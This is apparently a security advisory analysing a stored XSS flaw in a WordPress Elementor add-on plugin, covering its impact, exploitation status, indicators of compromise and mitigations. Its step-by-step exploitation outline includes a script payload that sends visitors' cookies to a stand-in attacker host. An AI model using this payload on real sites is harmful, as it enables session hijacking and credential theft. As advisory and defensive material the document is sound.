CVE-2026-1512: 
WordPress vulnerability analysis and mitigation

CVE-2026-1512 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin, affecting all versions up to and including 6.5.9. The flaw resides in the plugin's Info Box widget, where insufficient input sanitization and output escaping on user-supplied attributes allows authenticated attackers to inject persistent malicious scripts. It was published on February 14, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Attackers with contributor-level access or above can supply malicious HTML/JavaScript attributes to the Info Box widget; because the plugin fails to sanitize input or escape output before rendering, the payload is stored in the database and executed in victims' browsers whenever the affected page is loaded. The attack vector is network-based, requires low privileges, no user interaction from the attacker side, and has a changed scope — meaning the injected script executes in the context of other users' sessions (Red Hat CVE, Wordfence).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any visitor accessing those pages. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), website defacement, or redirection of visitors to malicious sites. The changed scope means the impact extends beyond the attacker's own session to all site visitors, amplifying the risk of data exposure and malware distribution (Red Hat CVE, Sucuri Blog).

A proof-of-concept (PoC) exploit is publicly available on GitHub (PoC on GitHub), added on February 26, 2026. The EPSS score is approximately 0.029%, indicating a currently low probability of widespread automated exploitation. There is no confirmed evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported (Feedly, Wordfence).

1. Reconnaissance: Identify WordPress sites running Essential Addons for Elementor version ≤ 6.5.9 using tools like WPScan (wpscan --url https://target.com --enumerate p) or by inspecting plugin metadata in the site's source code.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Create or edit a page with the Info Box widget: In the WordPress editor (Elementor), add or modify a page that uses the Essential Addons Info Box widget.
4. Inject malicious payload: Supply a crafted JavaScript payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a widget attribute field that is not properly sanitized, such as a title, subtitle, or link attribute.
5. Publish the page: Save and publish the page, causing the payload to be stored in the WordPress database.
6. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (PoC on GitHub, Wordfence).

• Database/File System: Unexpected JavaScript tags or encoded script payloads (e.g., <script>, javascript:, onerror=, onload=) stored in WordPress post content or widget metadata associated with the Info Box widget.
• Logs: WordPress access logs showing POST requests to /wp-admin/admin-ajax.php or Elementor save endpoints from contributor-level accounts containing suspicious attribute values with script tags or event handlers.
• Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after loading pages containing the Info Box widget; unusual redirects or data exfiltration to attacker-controlled infrastructure.
• User Behavior: Unexpected creation or modification of pages/posts by contributor-level accounts, particularly those adding or editing Info Box widgets with unusual attribute content (Wordfence, Sucuri Blog).

Update the Essential Addons for Elementor plugin to a version newer than 6.5.9 as soon as a patched release is available. As interim mitigations: restrict contributor-level and above roles to only fully trusted users; disable or remove the Info Box widget if it is not essential to site functionality; deploy a Web Application Firewall (WAF) with rules targeting XSS payloads in widget attributes. Audit all existing pages using the Info Box widget for injected malicious content (Red Hat CVE, Sucuri Blog).

Wordfence included CVE-2026-1512 in its weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). Sucuri also referenced the vulnerability in its February 2026 vulnerability patch roundup, advising WordPress site owners to prioritize plugin updates (Sucuri Blog). No significant social media controversy or high-profile researcher commentary beyond standard advisory coverage has been observed.